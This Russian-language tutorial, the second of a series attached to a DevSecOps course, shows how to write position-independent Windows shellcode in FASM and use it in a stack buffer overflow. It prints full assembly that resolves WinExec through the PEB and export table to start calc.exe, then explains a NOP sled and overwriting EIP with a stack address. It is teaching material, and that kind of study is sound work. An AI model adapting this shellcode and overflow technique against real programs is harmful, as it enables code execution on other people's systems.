В этой статье мы продолжим рассматривать интересную тему эксплуатации уязвимостей кода. В первой части мы выявили наличие самой уязвимости и узнали, какой именно объем байт мы можем передать нашей уязвимой программе для эксплуатации уязвимости. Сейчас мы на время оставим нашу уязвимую программу и поговорим о написании shell-кода.

Только ассемблер – только хардкор!

Конечно, готовый шеллкод можно сгенерировать с помощью msfvenom – утилиты, входящей в состав Metasploit. Можно также попытаться найти готовые эксплоиты, но мы легких путей искать не будем, напишем шеллкод самостоятельно. В качестве нашего рабочего инструмента я буду использовать FASM.

В рамках данной статьи я не буду рассматривать принципы программирования на Ассемблере. Желающие могут нагуглить на просторах сети всю необходимую информацию. Однако, я кратко поясню некоторые особенности написания шеллкода. Основная особенность разработки заключается в том, что мы не можем просто так вызвать необходимые для его работы функции. То есть, если при написании обычной программы мы можем поместить нужные значения в стек и вызвать необходимую функцию ОС (классический вариант push-call или модный с макросами invoke), то шеллкод выполняется в адресном пространстве другой программы и адреса функций ОС нам необходимо вычислить именно в памяти этой программы. Для этого мы сначала находим адрес библиотеки Kernel32 (строки 39-46), затем адрес PE Signature (+0x3C), Export Table (+0x78)  далее перемещаемся по таблице экспорта до тех пор, пока не находим таблицу с адресами функций ОС. Далее мы просто перемещаемся по этой таблице (строка 70 и далее) и ищем соответствие имени искомой функции (в нашем случае это Winexec) и имени функции, указанной в таблице.

Полученный таким образом адрес мы далее будем использовать для вызова нужной функции. Но перед этим нам необходимо передать функции нужные параметры. В случае с Winexec нам необходимо передать строку C:\Windows\System32\calc.exe, для того, чтобы наш шеллкод затем, в лучших традициях эксплуатации уязвимостей, запустил калькулятор.

Байты: плохие и очень плохие

Еще одно отличие нашего шеллкода от обычной программы заключается в том, что наш код в откомпилированном виде не должен содержать так называемых плохих байтов.

Классический пример плохого байта это 0х00. Нулевой байт в памяти означает завершение массива передаваемых данных. То есть, все байты, идущие после этого байта, будут отброшены. Мы будем передавать наш шеллкод как параметр, как делали в первой статье, в итоге, все что будет после нуля просто не будет передано в память и шеллкод не будет выполнен. В зависимости от методов передачи шеллкода уязвимому приложению возможны также другие плохие байты (0х10, 0х13 и другие). Наша задача избавиться от этих плохих байтов, заменив проблемные команды их аналогами, не содержащими данные байты. Для этого мы используемые манипуляции со стеком, представленные в строках 105-111.

Ну и еще одно отличие заключается в том, что мы храним все необходимые для работы нашего шеллкода данные в стеке, так как своего сегмента данных у нас очевидно тоже нет.

После компиляции в FASM приведенная ниже программа должна просто запустить калькулятор.

format PE console

use32

entry start

 

  start:

        push eax ; Save all registers
        push ebx
        push ecx
        push edx
        push esi
        push edi
        push ebp

        ; Establish a new stack frame

        push ebp
        mov ebp, esp

        sub esp, 18h                    ; Allocate memory on stack for local variables

        ; push the function name on the stack

        xor esi, esi
        push esi                        ; null termination
        push 63h
        pushw 6578h
        push 456e6957h
        mov [ebp-4], esp                ; var4 = "WinExec\x00"

 

        ; Find kernel32.dll base address

        xor esi, esi                    ; esi = 0
        mov ebx, [fs:30h + esi]         ; written this way to avoid null bytes
        mov ebx, [ebx + 0x0C] 
        mov ebx, [ebx + 0x14] 
        mov ebx, [ebx]  
        mov ebx, [ebx]  
        mov ebx, [ebx + 0x10]           ; ebx holds kernel32.dll base address
        mov [ebp-8], ebx                ; var8 = kernel32.dll base address


        ; Find WinExec address

        mov eax, [ebx + 3Ch]            ; RVA of PE signature
        add eax, ebx                    ; Address of PE signature = base address + RVA of PE signature
        mov eax, [eax + 78h]            ; RVA of Export Table
        add eax, ebx                    ; Address of Export Table
        mov ecx, [eax + 24h]            ; RVA of Ordinal Table
        add ecx, ebx                    ; Address of Ordinal Table
        mov [ebp-0Ch], ecx              ; var12 = Address of Ordinal Table
        mov edx,eax
        add edx,1Fh
        inc edx
        mov edi, [edx]            ; RVA of Name Pointer Table
        add edi, ebx                    ; Address of Name Pointer Table
        mov [ebp-10h], edi              ; var16 = Address of Name Pointer Table
        mov edx, [eax + 1Ch]            ; RVA of Address Table
        add edx, ebx                    ; Address of Address Table
        mov [ebp-14h], edx              ; var20 = Address of Address Table
        mov edx, [eax + 14h]            ; Number of exported functions
        xor eax, eax                    ; counter = 0

.loop:
        mov edi, [ebp-10h]      ;  Address of Name Pointer Table
        mov esi, [ebp-4]        ;  "WinExec\x00"
        xor ecx, ecx
        cld
        mov edi, [edi + eax*4]
        add edi, ebx
        add cx, 8
        repe cmpsb
        jz start.found

        inc eax
        cmp eax, edx
        jb start.loop
        add esp, 26h                    
        jmp start.end
        .found:

                ; the counter (eax) now holds the position of WinExec

                mov ecx, [ebp-0Ch]      ; ecx = var12 = Address of Ordinal Table
                mov edx, [ebp-14h]      ; edx = var20 = Address of Address Table
                mov ax, [ecx + eax*2]   ; ax = ordinal number = var12 + (counter * 2)
                mov eax, [edx + eax*4]  ; eax = RVA of function = var20 + (ordinal * 4)
                add eax, ebx            ; eax = address of WinExec = 

                                        ; = kernel32.dll base address + RVA of WinExec

 

                xor edx, edx
                push edx

 

                push 6578652eh
                push 636c6163h
                push 5c32336dh
                push 65747379h
                push 535c7377h
                push 6f646e69h
                push 575c3a43h
                mov esi, esp            ; esi -> "C:\Windows\System32\calc.exe"
                push 10                 ; window state SW_SHOWDEFAULT
                push esi                ; "C:\Windows\System32\calc.exe"
                call eax                ; WinExec

                add esp, 46h            ; clear the stack
                .end:
            
                pop ebp                 ; restore all registers and exit
                pop edi
                pop esi
                pop edx
                pop ecx
                pop ebx
                pop eax
                ret   

Но это еще не все. Теперь открываем откомпилированный файл в hex-редакторе и смотрим где начинается сам полезный код после PE заголовка. Этот набор байт и есть наше шеллкод. Сохраним его в отдельном файле, например с расширением bin.

NOP-sled и адрес возврата

Теперь самое время вспомнить, чем закончилась предыдущая статья – мы узнали, что для переполнения нам необходимо передать более 644 байт. То есть в эти 644 байта мы должны положить наш шеллкод. Как видно, он без проблем умещается. Однако, шеллкод не стоит располагать в начале этого блока, лучше заполнить первую пару сотен байт значением 0х90. Это инструкция NOP, которая ничего не делает и именно за этим она нам и нужна.  

Итак, давайте попробуем скормить наш новый блок из 644 байт на вход уязвимой программе и посмотрим, что окажется в регистре EIP. Если значение EIP заполнено байтами 0х90, значит нам необходимо уменьшить количество передаваемых байт. Если программа отрабатывает корректно и не останавливается на исключении, значит мы передали меньше байт и переполнение не происходит. Необходимо найти ровно тот объем, после которого происходит затирание EIP. Далее необходимо выяснить, по каким адресам в стеке хранятся переданный нами буфер. Для этого выбираем Карта памяти -> Стек. Ищем наши 0x90.

Далее выбираем адрес одного из байтов 0х90, у меня это 0х0019e1c0. Теперь нам надо записать значение этого адреса в обратном порядке: 0xc0, 0xe1, 0x19. Заодно мы избавились от нулевого байта. Эти три байта добавляем в конец нашего шеллкода. Если мы все сделали правильно и в EIP скопировались ровно эти три байта, то его значение стало равно 0х0019e1c0 и мы успешно подменили адрес следующей выполняемой команды, в результате чего после переполнения буфера управление было передано нашему шеллкоду и мы успешно запустили калькулятор. В случае, если калькулятор не запустился, а отладчик снова остановился на исключении, посмотрите какое значение имеет регистр EIP, возможно надо просто добавит или убавить пару NOP, чтобы корректно подменить значение этого регистра.

Заключение

В этой статье мы посмотрели, как можно написать шеллкод и на практике проэксплуатировать уязвимость. Конечно, данный материал не является простым, однако разработчикам полезно знать к чему на практике может привести уязвимость переполнения буфера.

В следующей статье мы немного поговорим про уязвимости в программах под Линукс и посмотрим какие средства могут помочь нам защититься от таких ошибок в коде.

Материал подготовлен в рамках курса «Внедрение и работа в DevSecOps».

Комментарии (1)


  1. svosin
    06.07.2023 08:26

    NX-бит и stack canary, как понимаю, были отключены в целях демонстрации? Для новичков стоит упомянуть, что GCC сейчас по дефолту собирает код с защитой стека, поэтому в лучшем случае придётся играть в return-oriented programming.